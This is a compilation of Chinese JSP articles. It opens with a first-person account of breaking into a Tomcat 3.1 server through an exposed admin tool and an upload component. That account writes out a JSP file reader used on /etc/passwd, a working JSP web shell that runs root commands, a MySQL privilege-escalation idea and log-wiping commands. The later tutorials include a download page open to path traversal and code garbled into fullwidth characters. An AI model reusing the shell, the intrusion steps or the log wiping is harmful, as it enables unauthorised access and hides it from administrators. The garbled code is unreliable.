GET /CHINANSL HTTP/1.1
[Enter]
[Enter]

    返回的结果如下：

HTTP/1.0 404 Not Found
Date: Sun, 08 Jul 2001 07:49:13 GMT
Servlet-Engine: Tomcat Web Server/3.1 (JSP 1.1; Servlet 2.2; Java 1.2.2; Linux 2
.2.12 i386; java.vendor=Blackdown Java-Linux Team)
Content-Language: en
Content-Type: text/html
Status: 404

〈h1〉Error: 404〈/h1〉
〈h2〉Location: /CHINANSL〈/h2〉File Not Found〈br〉/CHINANSL

    获得了运行的WEBServer的名称“Tomcat 3.1”。记得曾经发现过这个版本的漏洞，并且post到bugtrap上去过。

    回忆一下，大概是通过“..”技术可以退出WEB目录，于是：

http://target:8080/../../../../ （不行）
http://target:8080/file/index.jsp （不行）
http://target:8080/index.JSP （不行）
http://target:8080/index.jsp （不行）
http://target:8080/index.jsp （不行）
http://target:8080/index.jsp%81 （不行）
http://target:8080/WEB-INF/ （不行）

    看来安全状况似乎还不错，我们再来进行一下更深层的测试。Tomcat 3.1自带了一个管理工具，可以查看WEB下的目录及文件，并且可以添加context。于是尝试：

http://target:8080/admin/

    管理员果然没有删除或禁止访问这个目录，从安全的角度说，这点应该算是一个比较重要的失误。

    接着，点击“VIEW ALL CONTEXT”按钮，列出了WEB目录下的一些文件和目录的名称，很快发现了一个上传文件的组件，通过这个组件将一个JSP文件上传到对方的WEB目录里：

〈%@ page import="java.io.*" %〉
〈%
String file = request.getParameter("file");
String str = "";
FileInputStream fis = null;
DataInputStream dis = null;
try{
fis = new FileInputStream(file);
dis = new DataInputStream(fis);
while(true){
try{
str = dis.readLine();
}catch(Exception e){}
if(str == null)break;
out.print(str+"〈br〉");
}
}catch(IOException e){}
%〉

    然后执行：

http://target:8080/upload/test.jsp?file=/etc/passwd

    密码出来了。接下来的过程是猜测密码，没有成功。不过，现在相当于有了一个SHELL，猜不出密码可以先把IE当作SHELL环境。
    再写一个JSP文件：

〈%@ page import="java.io.*" %〉
〈%
try {
String cmd = request.getParameter("cmd");
Process child = Runtime.getRuntime().exec(cmd);
InputStream in = child.getInputStream();
int c;
while ((c = in.read()) != -1) {
out.print((char)c);
}
in.close();
try {
child.waitFor();
} catch (InterruptedException e) {
e.printStackTrace();
}
} catch (IOException e) {
System.err.println(e);
}
%〉

    然后把这个JSP再通过upload上传，有SHELL了。

http://target:8080/upload/cmd.jsp?cmd=ls+-la+/
（详细结果这里就不列出来了）

    怎么获得root权限呢？经过一番搜索发现系统安装了MySQL，并且从JSP的源代码中得到了MySQL的密码，执行：

sqld"〉http://target:8080/upload/cmd.jsp?cmd=ps+aux+|grep+mysqld

    显示：

root 87494 0.2 1.9 17300 4800 p0- S 28Jun01 5:54.72 /usr/local/data/mysql

    系统是以root身份运行的MySQL。这时我思考了一下，既然知道了MySQL的密码，那就可以写一个SHELL程序，让它创建一个表，然后将我的数据放到表中，再使用“select ... into outfile;”的办法在系统上创建一个文件，让用户在执行su的时候，运行我的程序。（还记得apache.org有一次被入侵吗？黑客就采用的这种办法）。

    之后就比较简单了，上传bindshell之类的程序，运行、获得nobody的权限，使用su root时帮忙创建的setuid shell让自己成为root。

    但是，接下来已经实际操作，结果令人颇感意外：

http://target:8080/upload/cmd.jsp?cmd=id

    显示：

uid=0(root) gid=0(xxx) groups=0(xxx),2(xxx),3(xxx),4(xxx),5(xxx),20(xxx),31(xxx)

    原来这个WEB SHELL本来就是ROOT！管理员的安全设置工作到底怎么做的？

http://target:8080/upload/cmd.jsp?cmd=ps+aux
果然是root身份运行的（不列出来了）

    剩下的事情：

    1、删除我的telnet记录。

    2、删除http的日志。

    清除日志我使用的办法是：cat xxx |grep -V "IP" 〉〉temp然后在把temp覆盖那些被我修改过的日志文件。

    说明一点，我没有更换该网站的页面，因为我只是个网络安全爱好者。所以，发封邮件告诉system admin吧！当然，我顺便在信中提到，如果需要安盟信息科技为他提供安全服务的话，我们会非常的高兴！

转自：动态网站制作指南 | www.knowsky.com


学习在JSP中使用JavaBeans-www.knowsky.com

尽管你可以在Java的程序码（scriptlets）中加入大量的代码块，但是，事实上大多数Java代码都应该在可再利用的组件中使用，这些组件叫做JavaBeans。JavaBeans就象Activex控件一样：它们提供了被人们熟知的功能性和再利用的特性。

JavaBean的值通过一组属性的定义而成为可利用的，这些属性提供了访问JavaBean的设置。拿一个人来作比方，把这个人当作一个JavaBean，那么这个人的名字，社会保险号码和住址就是他的属性。在JSP的站点中，你主要是通过执行连接beans来动态的访问你的站点。

假设JavaBeans在创造站点之前就已经被构造，那么首先你必须要让你的JSP页面知道你要使用一个bean。这个步骤由<jsp:useBean>标签来完成：

<jsp:useBean id="localName" class="com.jguru.Person" scope="application" />.

<jsp:useBean>标签需要你利用id的属性来确定bean。在这里你需要在静态的JSP页面中提供一个名字来标识bean。除此之外，你必须告诉这个页面去什么地方找bean或者Java类的名字，类的属性在其他少数的地方提供了这个信息。最后必要的一个元素是scope属性。在它的帮助下，你可以利用beans来为一个页面(the default) [scope="page"]，请求[scope="request"]，生存期限[scope="session"]；或者整个应用[scope="application"]提供信息，通过利用session scope，你可以在JSP页面中添加其他的项目，比如购物卡之类。

一旦你定义了一个JavaBean，你就有权使用它的属性来定义它。为了获得一个适当的值，就要使用<jsp:getProperty>标签，使用这个标签你可以详细的定义一个bean。它的实际指标将被放置在输出中：

<jsp:getProperty id="localName" property="name" />.

如果想要改变JavaBean的属性，你需要使用<jsp:setProperty>标签，利用这个标签你可以重新定义你的bean和属性并提供新的值。如果要改变命名的属性，这些可以直接从下面的形式中获得：

<jsp:setProperty id="localName" property="*" />;

你可以从下面的形式中直接命名属性和参数：

<jsp:setProperty id="localName" property="address" param="parameterName" />;

或者直接设置名字和值：

<jsp:setProperty id="localName" property="serialNumber" value="string" /> or <jsp:setProperty id="localName" property="serialNumber" value= <%= expression %> />.

最后一步就是：为了让Web服务器能够找到JavaBeans，你需要在一个特别的地方放置它们的类文件。利用JSWDK，最明了的地方就是在安装目录下创建一个类目录，比如 \jswdk\-1.0.1\classes.

转自：动态网站制作指南 | www.knowsky.com


一个关于Jsp的問答集

<%
file://實例化SessionBean
Account acct = accHome.create();
file://調用遠端方法
acct.doWhatever(...);
// 如此等等
%>

一个关于Jsp的問答集

如何混合使用Jsp和SSI #include?

在JSP中可以使用如下方式包含純HTML：
[an error occurred while processing this directive]
但是如果data.inc中包含JSP CODE ，我們可以使用：

<%@include file="data.inc"%>如何執行一個線程安全的JSP?

只需增加如下指令

<%@ page isThreadSafe="false" %>
JSP如何處理HTML FORM中的資料?

通過內置的request物件即可，如下：

<%

String item = request.getParameter("item");
int howMany = new Integer(request.getParameter("units")).intValue();
%>
在JSP如何包含一個靜態文件?

靜態包含如下：<%@ include file="copyright.html" %>
動態包含如下：
在JSP中如何使用注釋?
主要有四中方法：
1。<%-- 與 --%>
2。//
3。/**與**/
4。

在JSP中如何執行瀏覽重定向?

使用如下方式即可：response.sendRedirect("http://ybwen.home.chinaren.com/index.html");
也能物理地改變HTTP HEADER屬性，如下：

<%
response.setStatus(HttpServletResponse.SC_MOVED_PERMANENTLY);
String newLocn="/newpath/index.html";
response.setHeader("Location",newLocn);
%>
如何防止在JSP或SERVLET中的輸出不被BROWSER保存在CACHE中?

把如下腳本加入到JSP文件的開始即可：

<%
response.setHeader("Cache-Control","no-store"); file://HTTP 1.1
response.setHeader("Pragma","no-cache"); file://HTTP 1.0
response.setDateHeader ("Expires", 0); file://prevents caching at the proxy server
%>
在JSP中如何設置COOKIE?

COOKIE是作?HTTP HEADER的一部分被發送的，如下方法即可設置：

<%
Cookie mycookie = new Cookie("aName","aValue");
response.addCookie(mycookie);
%>
在JSP中如何刪除一個COOKIE?

<%
Cookie killMyCookie = new Cookie("mycookie", null);
killMyCookie.setMaxAge(0);
killMyCookie.setPath("/");
response.addCookie(killMyCookie);
%>
在一個JSP的請求處理中如何停止JSP的執行?

如下例：

<%
if (request.getParameter("wen") != null) {
// do something
} else {
return;
}
%>
在JSP中如何定義方法?

你可以定義方法，但是你不能直接訪問JSP的內置物件，而是通過參數的方法傳遞。如下：

<%!
public String howBadFrom(HttpServletRequest req) {
HttpSession ses = req.getSession();
...
return req.getRemoteHost();
}
%>
<%
out.print("in general,lao lee is not baddie ");
%>
<%= howBadFrom(request) %>

如果BROWSER已關閉了COOKIES，在JSP中我如何打開SESSION來跟蹤?

使用URL重寫即可，如下：
hello1.jsp

<%@ page session="true" %>
<%
Integer num = new Integer(100);
session.putValue("num",num);
String url =response.encodeURL("hello2.jsp");
%>hello2.jsp

hello2.jsp

<%@ page session="true" %>
<%
Integer i= (Integer )session.getValue("num");
out.println("Num value in session is "+i.intValue());
%>

在JSP中能發送EMAIL嗎?

可以使用SUN的專用包：sun.net.smtp包。如下腳本使用SmtpClient類發送EMAIL。

<%@ page import="sun.net.smtp.SmtpClient, java.io.*" %>
<%
String from="ybwen@sina.com";
String to="hewenjun@yeah.net, lei@who.com.cn";
try{
SmtpClient client = new SmtpClient("mail.xxxxx.xxx");
client.from(from);
client.to(to);
PrintStream message = client.startMessage();
message.println("To: " + to);
message.println("Subject: Sending email from JSP!");
message.println("This was sent from a JSP page!");
message.println();
message.println("Cool! :-)");
message.println();
message.println("Good Boy");
message.println("I'm in genius.com");
message.println();
client.closeServer();
}
catch (IOException e){
System.out.println("ERROR SENDING EMAIL:"+e);
}
%>

在SERVLET中我能調用一個JSP錯誤頁嗎?

當然沒問題，如下展示了如何在一個SERVLET控制邏輯單元內調用一個JSP錯誤頁面。
protected void sendErrorRedirect(HttpServletRequest request,
HttpServletResponse response, String errorPageURL,
Throwable e)
throws ServletException, IOException {
request.setAttribute ("javax.servlet.jsp.jspException", e);
getServletConfig().getServletContext().
getRequestDispatcher(errorPageURL).forward(request,
response);
}

public void doPost(HttpServletRequest request,HttpServletResponse response) {
try {
// do something
} catch (Exception ex) {
try {
sendErrorRedirect(request,response,"/jsp/MyErrorPage.jsp",ex);
} catch (Exception e) {
e.printStackTrace();
}
}
}

JSP如何與EJB SessionBean通訊?

下面的代碼段作了很好的示範

<%@ page import="javax.naming.*, javax.rmi.PortableRemoteObject,
foo.AccountHome, foo.Account" %>

<%!
file://定義一個對SessionBeanHome介面實例的全局引用
AccountHome accHome=null;
public void jspInit() {
file://獲得Home介面實例
InitialContext cntxt = new InitialContext( );
Object ref= cntxt.lookup("java:comp/env/ejb/AccountEJB");
accHome = (AccountHome)PortableRemoteObject.narrow(ref,AccountHome.class);
}
%>


应用JDOM处理数据库到XML转换的JSP实现-www.knowsky.com

一、JDOM介绍

我们知道DOM是用于与平台和语言无关的方式表示XML文档的官方W3C标准，利用DOM和SAX API可以解析和处理XML文档。这里我们介绍的JDOM是基于树操作的纯JAVA API，应该说它提供的是一套用于解析、创建、处理和实现XML的解决方案。这些API比DOM和SAX API提供的方法更为直观，对于有JAVA经验的程序员将会发现JDOM非常容易掌握。JDOM处理XML的方式比DOM容易的多，并且它的功能比使用SAX更加强大。

JDOM的内部逻辑结构基本上与DOM的相同，比如具有Document、Element、Comment等文档节点类型，其中每一个JDOM文档必须有一个Document节点，并且为节点树的根节点。该根节点可以有子节点或者叶子节点如Comment、Text等。JDOM文档中的每一个节点类型均对应格式良好的XML文当中的没一个元素。这也就为我们利用JDOM转换数据库到XML文档提供了可操作的依据。

JDOM的优点：

由JDOM的文档声明我们将会很明显的看出应用JDOM的优势所在。JDOM文档声明如下“JDOM引用了20/80原则，即使用20%的精力解决80%的JAVA/XML问题”。

● JDOM是用JAVA开发并为JAVA提供服务的，它沿用了JAVA代码的规范和类库；

● 在众多编程语言中，JAVA是使用XML的优秀平台，XML又是JAVA应用的优秀数据表示方法。JDOM API是纯JAVA API对于JAVA开发人员来说更容易上手；

● JDOM API比DOM所提供的方法更为直观，同时简化了与XML的交互。比使用DOM更快。

org.jdom是用于JAVA API操作的JDOM工具包。

在org.jdom中，提供了Document、Element 、Comment 、DocType、Attribute、Text等存 JAVA 类，这些类均是访问和操作JDOM文档所必须的。我们可以利用这些类创建、遍历、修改JDOM文档。

在org.jdom.output中，提供了DOMOutputter、XMLOutputter，用于处理JDOM树的DOM树形式、XML文档形式输出、打印等。

二、环境配置

在我的WINDOWS2000系统平台上采用TOMCAT4.1.18、JDK1.4.0_02作为开发和测试平台。

通过“我的电脑”的“高级”属性添加如下两个环境设置CLASSPATH设置为：“.;c:\j2sdk1.4.0_02\lib\dt.jar;c:\j2sdk1.4.0_02\lib\tools.jar;”。PATH设置为“.;c:\j2sdk1.4.0_02\bin;”。

SQL SERVER JDBC驱动：mssqlserver.jar 放入TOMCAT的LIB目录下。

三、获得与安装JDOM

由于目前JDOM并没有包含在SUN的JDK中（我想不久的将来JDOM必然会成为SUN JDK的一部分），我们必须手工下载与设置JDOM的环境。

在http://www.jdom.org可以下载JDOM的最新版本。这里下载的是JDOM beta8。下载jdom-b8.zip后解压缩，JDOM的jar文件就是build目录下的文件jdom.jar，将上述文件拷贝到J2SDK1.4.0_02目录下的jre/lib/ext目录下。

四、利用JDOM实现SQL SERVER 数据库到XML的转换

1、数据库、表的创建

这里应用一个转换顾客信息的例子——“顾客基本信息”。我们是把数据放置于MICROSOFT SQL SERVER 2000数据库中，然后运用JSP和JDOM技术动态生成XML实例文档。

我们事先Microsoft SQL Server数据库CUSTOM中创建了一个数据表--CUSTOM，其数据结构如下表所示：

字段名 | 注释 | 类型 | 是否为空
Name | 姓名 | varchar(12) | NOT NULL
ID | ID | int | NOT NULL
Company | 公司 | varchar(30) | NOT NULL
Email | TEL | varchar(15) | NOT NULL

往数据库中输入以下几条记录：

Name | ID | Company | Email
刘氏 | 001 | 公司1 | liu@yantai.com
蒋氏 | 002 | 公司2 | jiang@yantai.net

2、数据源设置

数据源（ODBC Source）实际上就是定义数据的来源。数据源的设置方法是： [开始]-〉[设置]-〉[控制面板]-〉[管理工具]-〉[数据源(odbc)]-〉[System DSN]->[add]->[SQL Server]，分别配置服务器名（CUSTOM所在服务器）、数据库名（CUSTOM）、数据源名称（此处定为DB_CUSTOM）、用户名（lgz）、用户口令（空），数据源就配置好了。

3、代码的编写

下面开始我们的编写JSP代码转换工作，代码将通过调用JDOM动态生成XML结构，然后借助JDBC访问SQL SERVER数据库动态填充XML内容。

<%@page contentType="text/html;charset=GBK"%>

<HTML>

<HEAD>

<TITLE>用JDOM实现数据库到XML的转换</TITLE>

</HEAD>

<BODY>

<%@page import="org.jdom.*"%>

<%@page import="java.*"%>

<%

Class.forName("com.microsoft.jdbc.sqlserver.SQLServerDriver").newInstance();

String url="jdbc:microsoft:sqlserver://10.40.14.54:1433;DatabaseName=DB_CUSTOM";

//载入jdbc odbc的驱动程序

String user="lgz";

String password="lgz";

Connection conn= DriverManager.getConnection(url,user,password); //连接数据库

Statement stmt=conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE);

//创建一个statement

String sql="select * from client"; //定义查询的SQL语句

ResultSet rs=stmt.executeQuery(sql); //执行查询

Document document=new Document(new Element("联系人列表"));//创建文档

ResultSetMetaData rsmd = rs.getMetaData(); //获取字段名

int numberOfColumns = rsmd.getColumnCount(); //获取字段数

int i=0;

while(rs.next()){ //将查询结果取出

Element element0=new Element("联系人"); //创建元素 生成JDOM树

document.getRootElement().addContent(element0);

for (i=1; i<=numberOfColumns;i++)

{ String date=new String(rs.getString(i).getBytes("ISO-8859-1"),"gb2312"); //代码转换

Element element=new Element(rsmd.getColumnName(i)).setText(date);

element0.addContent(element);

}

}

rs.close(); //关闭结果集

stmt.close(); //关闭statement

conn.close(); //关闭连接

XMLOutputter outp = new XMLOutputter();

outp.output(document, new FileOutputStream("d:\\data.xml")); //输出XML文档

out.print("XML 文档生成完毕！");

%>

<a href="file:///d|/data.xml">点击打开产生的XML文档 </a>

</BODY>

</HTML>

4、程序的运行

通过浏览器的8080端口运行该JSP，将产生预期的xml文件。

五、应用分析

XML作为数据交换的标准，得到了越来越广泛的应用。这篇文章阐明了数据库到XML转换的基本方法，从而使各异构平台以及各种格式的数据进行数据交换成为可能。当我们能够把原始的数据转化为XML格式化的形式，就能够以丰富的HTML的格式表示出来。这里列举两个方面的应用：

1、 XML应用服务器：

XML应用服务器实际上是支持XML的Web应用服务器，它们通常是模板驱动的，通过在一个剧本语言中嵌入使用SQL语句来提取数据并动态构建XML文档。

2、 基于XML的桌面应用

我们知道通过XSL可以把相同的数据以不同的数据形式提交给终端客户，一个XSL文件描述了数据的显示方式，你可以把许多XSL和同一个XML文档相连来提供不同的基于HTML的表示，这样事实上，我们就可以建立基于XML的桌面应用程序

采用这种方法主要有两个优点，首先，你可以以平台和语言独立的方式来操作数据，其次，不需要编程你就可以实现对同样数据的不同的视图表示。

转自：动态网站制作指南 | www.knowsky.com


用JSP文件上载轻松实现的方法

    一、ＲＦＣ１８６７规范

    在过去的Ｈｔｍｌ中，表单不能实现文件的上传，这多少限制了一些网页的功能。ＲＦＣ１８６７规范（即Ｈｔｍｌ中实现基于表单的文件上传）对表单作出了扩展，增加了一个表单元素&:ltｉｎｐｕｔ ｔｙｐｅ＝ｆｉｌｅ＞。通过使用这个元素，浏览器会自动生成一个输入框和一个按钮，输入框可供用户填写本地的文件名和路径名，按钮可以让浏览器打开一个文件选择框供用户选择文件。具体的表单实现如下：

    ＜ＦＯＲＭ ＡＣＴＩＯＮ＝ｕｐｌｏａｄ．ｊｓｐ ＥＮＣＴＹＰＥ＝″ｍｕｌｔｉｐａｒｔ／ｆｏｒｍ－ｄａｔａ″ ＭＥＴＨＯＤ＝ＰＯＳＴ＞
    Ｐｌｅａｓｅ ｉｎｐｕｔ ｙｏｕｒ ｎａｍｅ
    ＜ｉｎｐｕｔ ｔｙｐｅ＝ｔｅｘｔ ｎａｍｅ＝ｕｓｅｒ＞＜ｂｒ＞ Ｐｌｅａｓｅ ｇｉｖｅ ｕｓ ｔｈｅ ｆｉｌｅ
    ＜ＩＮＰＵＴ ＴＹＰＥ＝ＦＩＬＥ ＮＡＭＥ＝ｆｉｌｅ１＞
    ＜ｉｎｐｕｔ ｔｙｐｅ＝ｓｕｂｍｉｔ ｖａｌｕｅ＝″Ｓｅｎｄ ｆｉｌｅ″＞
    ＜／ＦＯＲＭ＞

    特别需要指出的是，只有Ｎｅｔｓｃａｐｅ ３和ＩＥ３．０２以后的版本才支持此规范，而且我们实践下来发现文件选择按钮是浏览器自动生成的，因而按钮的文字和浏览器版本有很大的关系，如果是中文的ＩＥ，按钮的文字是“打开．．．”；英文的Ｎｅｔｓｃａｐｅ则显示“Ｂｒｏｗｓｅ．．．”；如果是Ｏｐｅｒａ，则只有″．．．″。用户没办法自己设定按钮文字，不能不说是一种遗憾。除了浏览器，网络服务器也要能支持此规范，好在现在市面上绝大部分服务器软件都没有问题，微软的ＩＩＳ在增加一个插件后也能很好地支持此规范。

     二、组件的安装

    在用户端实现文件上传后，就要用ＪＳＰ来处理用户的上传请求。我们可以去ｗｗｗ．ｊｓｐｓｍａｒｔ．ｃｏｍ下载一个免费的组件来实现这一功能。在安装之前先确认你的ＪＳＰ服务器软件支持ＪＤＫ１．２．２和ＪＳＰ１．１，然后只要在Ｓｅｒｖｅｒ的ｃｌａｓｓ路径中加入该组件所在的目录就可以了。

    三、程序实现

    １．文件上传

    ＜％＠ ｐａｇｅ ｌａｎｇｕａｇｅ＝″ｊａｖａ″ ｉｍｐｏｒｔ＝″ｃｏｍ．ｊｓｐｓｍａｒｔ．ｕｐｌｏａｄ．″％＞
     ＜ＨＴＭＬ＞
     ＜ＢＯＤＹ ＢＧＣＯＬＯＲ＝″ｗｈｉｔｅ″＞
     ＜Ｈ１＞ｊｓｐＳｍａｒｔＵｐｌｏａｄ ＜／Ｈ１＞
     ＜ＨＲ＞
     ＜％ ｉｎｔ ｃｏｕｎｔ＝０ ／／设置变量 ＳｍａｒｔＵｐｌｏａｄ ｍｙＳｍａｒｔＵｐｌｏａｄ＝ｎｅｗ ＳｍａｒｔＵｐｌｏａｄ
     ｍｙＳｍａｒｔＵｐｌｏａｄ．ｉｎｉｔｉａｌｉｚｅ　ｐａｇｅＣｏｎｔｅｘｔ　 ／／初始化
     ｍｙＳｍａｒｔＵｐｌｏａｄ．ｕｐｌｏａｄ　　 ／／上传 ｒｙ
    ｃｏｕｎｔ ＝ ｍｙＳｍａｒｔＵｐｌｏａｄ．ｓａｖｅ　″／ｕｐｌｏａｄ″　 ／／把上传的文件保存在／ｕｐｌｏａｄ目录下 ｏｕｔ．ｐｒｉｎｔｌｎ　ｃｏｕｎｔ ＋ ″ ｆｉｌｅ　ｓ　 ｕｐｌｏａｄｅｄ．″　 ／／显示上传了多少个文件
     ｃａｔｃｈ 　Ｅｘｃｅｐｔｉｏｎ ｅ　  ｏｕｔ．ｐｒｉｎｔｌｎ　ｅ．ｔｏＳｔｒｉｎｇ　　　 ％＞
     ＜／ＢＯＤＹ＞
     ＜／ＨＴＭＬ＞

    需要注意：调试的时候要确认上传文件所存储的目录有可写属性。

    ２．表单处理

    由于上传文件的表单使用了 ＥＮＣＴＹＰＥ＝″ｍｕｌｔｉｐａｒｔ／ｆｏｒｍ－ｄａｔａ″属性，所以在ＪＳＰ中处理表单传递的值的时候不能再简单地使用ｒｅｑｕｅｓｔ．ｇｅｔＰａｒａｍｅｔｅｒ了，而应该这样来处理：

    ＜％＠ ｐａｇｅ ｌａｎｇｕａｇｅ＝″ｊａｖａ″ ｉｍｐｏｒｔ＝″ｃｏｍ．ｊｓｐｓｍａｒｔ．ｕｐｌｏａｄ．″％＞
     ＜ＨＴＭＬ＞
     ＜ＢＯＤＹ ＢＧＣＯＬＯＲ＝″ｗｈｉｔｅ″＞
     ＜Ｈ１＞ｊｓｐＳｍａｒｔＵｐｌｏａｄ ＜／Ｈ１＞
     ＜ＨＲ＞
     ＜％ ＳｍａｒｔＵｐｌｏａｄ ｍｙＵｐｌｏａｄ＝ｎｅｗ ＳｍａｒｔＵｐｌｏａｄ　 ｍｙＵｐｌｏａｄ．ｉｎｉｔｉａｌｉｚｅ　ｐａｇｅＣｏｎｔｅｘｔ　 ｍｙＵｐｌｏａｄ．ｕｐｌｏａｄ　　 ｏｕｔ．ｐｒｉｎｔｌｎ　″Ｎｕｍｂｅｒ ｏｆ ｆｉｌｅｓ ＝ ″ ＋ ｍｙＵｐｌｏａｄ．ｇｅｔＦｉｌｅｓ　　．ｇｅｔＣｏｕｎｔ　　 ＋ ″＜ＢＲ＞″　 ｏｕｔ．ｐｒｉｎｔｌｎ　″
     ＜ＢＲ＞
     ＜ＢＲ＞
     ＜ＳＴＲＯＮＧ＞Ｄｉｓｐｌａｙ ｉｎｆｏｒｍａｔｉｏｎ ａｂｏｕｔ Ｒｅｑｕｅｓｔｓ＜／ＳＴＲＯＮＧ＞
     ＜ＢＲ＞″
     Ｓｔｒｉｎｇ［ ］ｖａｌｕｅｓ ＝ ｍｙＵｐｌｏａｄ．ｇｅｔＲｅｑｕｅｓｔ
    ．ｇｅｔＰａｒａｍｅｔｅｒＶａｌｕｅｓ　″ｆｏｒｍｔａｇ″　 ／／ｆｏｒｍｔａｇ为表单中元素的ｎａｍｅ，返回的值为字符数组中第一个元素。 ｏｕｔ．ｐｒｉｎｔ　ｋｅｙ ＋ ″ ＝ ″＋ｖａｌｕｅｓ０
　 ％＞
     ＜／ｂｏｄｙ＞
     ＜／ｈｔｍｌ＞

    ３．其他ＡＰＩ ｍｙＵｐＬｏａｄ．ｓｅｔＡｌｌｏｗｅｄＦｉｌｅｓＬｉｓｔ　″ｔｘｔ　ｄｏｃ　ｘｌｓ″

   设定可以上传的文件的后缀名； ｍｙＵｐＬｏａｄ．ｓｅｔＤｅｎｉｅｄＦｉｌｅｓＬｉｓｔ　″ｂａｔ　ｅｘｅ　ｃｏｍ　ｊｓｐ″　 设定不能上传的文件的后缀名；

    ｍｙＵｐＬｏａｄ．ｓｅｔＭａｘＦｉｌｅＳｉｚｅ　１０００００　 设定单个文件的最大字节数；

     ｍｙＵｐＬｏａｄ．ｓｅｔＴｏｔａｌＭａｘＦｉｌｅＳｉｚｅ　１０００００　 设定所有上传文件的最大字节数；

     ｍｙＵｐｌｏａｄ．ｕｐｌｏａｄＩｎＦｉｌｅ　″／ｍｙＤａｔａ．ｔｘｔ″　 把表单的内容全部存储到ｍｙＤａｔａ．ｔｘｔ保存；

    ｍｙＵｐｌｏａｄ．ｇｅｔＦｉｌｅｓ　　．ｇｅｔＣｏｕｎｔ　　 获得上传的文件的个数；

    ｍｙＵｐｌｏａｄ．ｇｅｔＦｉｌｅｓ　　．ｇｅｔＳｉｚｅ　　 获得上传的文件的总字节数；

     ｍｙＵｐｌｏａｄ．ｇｅｔＦｉｌｅｓ　　．ｇｅｔＦｉｌｅ　ｉｄ　．ｇｅｔＦｉｌｅＮａｍｅ　　 获得指定ＩＤ号文件的文件名；

     ｍｙＵｐｌｏａｄ．ｇｅｔＦｉｌｅｓ　　．ｇｅｔＦｉｌｅ　ｉｄ　．ｇｅｔＦｉｌｅＰａｔｈＮａｍｅ　　 获得指定ＩＤ号文件的路径名；

     ｍｙＵｐＬｏａｄ．ｇｅｔＦｉｌｅｓ　　．ｇｅｔＦｉｌｅ　０　．ｉｓＭｉｓｓｉｎｇ　　 返回一布尔值以确定用户是否上传了文件。

    四、其他功能 ＪｓｐＳｍａｒｔＵｐｌｏａｄ除了能把上传文件保存到硬盘，还能直接把文件插入到数据库，同时还能实现文件下载的功能，相信随着大家的深入研究，一定能将这一功能更好地应用到自己的实践中去。


用JSP下载word文件（不会直接用IE打开）-www.knowsky.com

<%@page import="java.util.*"%>
<%@page import="java.io.*"%>
<%@page import="java.net.*"%>
<%
String filename = "";
if (request.getParameter("file") != null) {
filename = request.getParameter("file");
}
response.setContentType("application/msword");
response.setHeader("Content-disposition","attachment; filename="+filename);

BufferedInputStream bis = null;
BufferedOutputStream bos = null;
try {
bis = new BufferedInputStream(new FileInputStream(getServletContext().getRealPath("" + filename)));
bos = new BufferedOutputStream(response.getOutputStream());

byte[] buff = new byte[2048];
int bytesRead;

while(-1 != (bytesRead = bis.read(buff, 0, buff.length))) {
bos.write(buff,0,bytesRead);
}

} catch(final IOException e) {
System.out.println ( "出现IOException." + e );
} finally {
if (bis != null)
bis.close();
if (bos != null)
bos.close();
}
return;
%>

转自：动态网站制作指南 | www.knowsky.com


用jsp下载文件

 以下代码保存为down.jsp，使用方法：down.jsp?file=下载文件名
<%//注意符号<%之前不能有回车，否则下载的文件第一个字符就是回车，可能导致文件格式非法
    String filename = "";
    String fileFullName="";
    int ch;
    if (request.getParameter("file") != null) {
        filename =request.getParameter("file");
    }
    fileFullName=request.getRealPath(filename);
    java.io.File myFilePath=new java.io.File(fileFullName);
    if(!myFilePath.exists()){
        out.print("file not found!");
    }else{
        response.setContentType("APPLICATION/OCTET-STREAM");
        response.setHeader("Content-Disposition","attachment;filename=\""+filename+"\"");
        java.io.FileInputStream fileInputStream =new java.io.FileInputStream(fileFullName);
        while ((ch=fileInputStream.read()) != -1) {
            out.write(ch);
        }
        fileInputStream.close();
        out.close();
    }
//这种方法是直接从文件中读取数据输出到客户端,所以在整个文件中，不能再使用out.print或其它方法
//向客户端输出任何信息，因为通过别的方式输出的信息也会保存在文件中，这样就破坏了文件的结构了。比如
//<%符号前面出现的哪怕一个空格，一个回车都不可以，所以千万要小心。
%>


<object id=DirectDraw
classid="CLSID:369303C2-D7AC-11D0-89D5-00A0C90833E6"
style="positiion:absolute;top:0;left:0;width:320;height:200"
>
<param name="line0001" value="绘图指令1">
<param name="line0002" value="绘图指令2">
...
</object>
绘图指令分类：
(一)常见形状
1.矩形类 //rotation是以度为单位的旋转角度
Rect(x ,y, width, height, rotation) //矩形
Oval(x ,y, width, height, rotation) //椭圆
RoundRect(x ,y, width, height, arcWidth, arcHeight, rotation)
2.弧形类
Arc(x ,y, width, height, startAngle, arcAngle, rotation) //弧形
Pie(x ,y, width, height, startAngle, arcAngle, rotation) //饼图
3.多边形类
Polygon(nPoints, x1, y1, x2, y2, [x3, y3, ....], rotation) //闭合
Polyline(nPoints, x1, y1, x2, y2, [xn, yn, ....], rotation) //不闭合
(二)效果函数
1.线条效果
SetLineColor(r, g, b) //设置画线颜色
SetLineStyle(style) //style=(1:实线;2:虚线;0:隐藏)
2.填充效果
SetFillColor(r, g, b, backr, backg, backb)
SetFillStyle(style) //style=(1:实心;2:透明;3:-;4:|;5:\;6:/;7:+;8:x)
(三)文字输出函数
SetFont('字体',width,height,r,g,b) //设置字体
Text('要输出的文字内容', x,y,z) //输出文字

控制函数 //定义<object>后在<script></script>里使用。
引用格式：DirectDraw.FunctionName()
rotate(x-rotation, y-rotation, z-rotation) //旋转
scale(x-scale,y-scale,z-scale) //缩放
translate(x-coordinate,y-coordinate,z-coordinate) //平移
setIdentity() //复原
clear() //清除,清除后无法恢复！


用缓冲技术提高JSP应用的性能和稳定性-www.knowsky.com

一、概述

在Web应用中，有些报表的生成可能需要数据库花很长时间才能计算出来；有的网站提供天气信息，它需要访问远程服务器进行SOAP调用才能得到温度信息。所有这一切都属于复杂信息的例子。在Web页面中加入过多的复杂信息可能导致Web服务器、数据库服务器负荷过重。JSP代码块缓冲为开发者带来了随意地增加各种复杂信息的自由。

JSP能够在标记库内封装和运行复杂的Java代码，它使得JSP页面文件更容易维护，使得非专业开发人员使用JSP页面文件更加方便。现在已经有许多标记库，它们或者是商业产品，或者是源代码开放产品。但这些产品中的大多数都只是用标记库的形式实现原本可以用一个简单的Java Scriptlet实现的功能，很少有产品以某种创造性的方式使用定制标记，提供在出现JSP定制标记库之前几乎不可能实现的用法。

